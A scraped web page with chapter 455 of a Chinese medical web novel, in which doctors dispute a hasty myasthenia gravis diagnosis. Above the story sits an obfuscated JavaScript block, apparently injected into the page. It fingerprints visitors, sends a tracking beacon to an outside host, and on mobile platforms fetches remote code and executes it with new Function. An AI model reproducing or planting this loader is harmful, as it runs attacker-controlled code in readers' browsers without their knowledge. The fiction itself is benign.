455 辨证(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
“哦?重症肌无力么?患者有很典型的晨轻暮重的症状?”吴冕躺在竹椅上,懒洋洋的问道。
“……”林道士一下子不说话了。
自己怎么忘了重症肌无力的典型特征是晨轻暮重!这下子完蛋了,被小师叔抓住小辫子。
见林道士不说话,吴冕猜到了什么,招了招手,说道,“有病例么,我看一眼。”
“小师叔,病历在这儿,就是个门诊病历,写的很简单。”林道士把病历递给吴冕,解释道,“患者家属说1周前出现吞咽困难,流口水,进行性加重。”
吴冕随手翻看病历,扫了两眼后把病历交给楚知希。
“厉害了老林!”吴冕笑着说道,“光是个吞咽困难加流口水,你就能诊断重症肌无力。”
“小师叔……”林道士讪讪的笑了笑。
就知道会被小师叔说,可是这也没什么好办法,谁让自己背不下来《诊断学》呢。
“说说,重症肌无力的诊断标准是什么。”吴冕问道。
林道士觉得好尴尬,和小师叔对话真的是太麻烦了。动不动就问自己诊断标准,自己哪知道。
那本《诊断学》还没看完不是。而且……估计一辈子都看不完。
“第一,患者会有眼皮下垂、视力模糊、复视、斜视、眼球转动不灵活的情况发生。”
“第二,患者表情淡漠、苦笑面容、讲话大舌头、构音困难,常伴鼻音。”
“第三……”
吴冕躺在竹椅上,一二三四五的给林道士讲重症肌无力。还真别说,按照吴冕的说法,柳依依压根就不能诊断为重症肌无力。
除了吞咽困难、流口水、四肢无力以外,没什么相似。但回想柳依依全身无力的状态,林道士总是觉得肯定是重症肌无力造成的。
难不成是诊断书上写的错了?林道士脑海里冒出这么一个想法,把他吓了一跳。
“哥哥,患者双侧眼睑下垂,眼球活动未受影响;双侧鼻唇沟变浅,主动张口幅度受限约1cm,颜面部痛温觉两侧对称存在;肩颈背部肌肉及四肢肌肉无力,不能转颈耸肩,不能保持坐位、不能抬手,不能站立;其余的神经系统专科检查没有发现明显的异常。”
“看起来好像重症肌无力,林道长没诊断明确,也有情可原。”楚知希道。
“呵呵。”吴冕笑了笑,抬眼看着林道士。
林道士心存感激,还是小师娘贴心,帮着自己说话。
“新斯的明试验阳性,当地医院诊断也是重症肌无力。”楚知希道,“可我觉得不像,但怎么来的呢?”
“小师娘,为什么不像?”林道士不敢和吴冕说话,舔着脸问楚知希。
“重症肌无力的患者新斯的明试验阳性,但新斯的明试验阳性并不一定就是重症肌无力。”楚知希皱眉,说道,“根据一个新斯的明试验就诊断,有些草率。还要做更多检查,但只是门诊病历,我想应该是患者、患者家属不配合导致的。”
“可患者全身无力,还有新斯的明试验阳性做证据。”林道士分辩道。
“患者起病急,在1周内较快进展到全身,不符合重症肌肌无力这种自身免疫性疾病亚急性或慢性起病的方式。”楚知希说道。
“……”林道士一脸懵逼。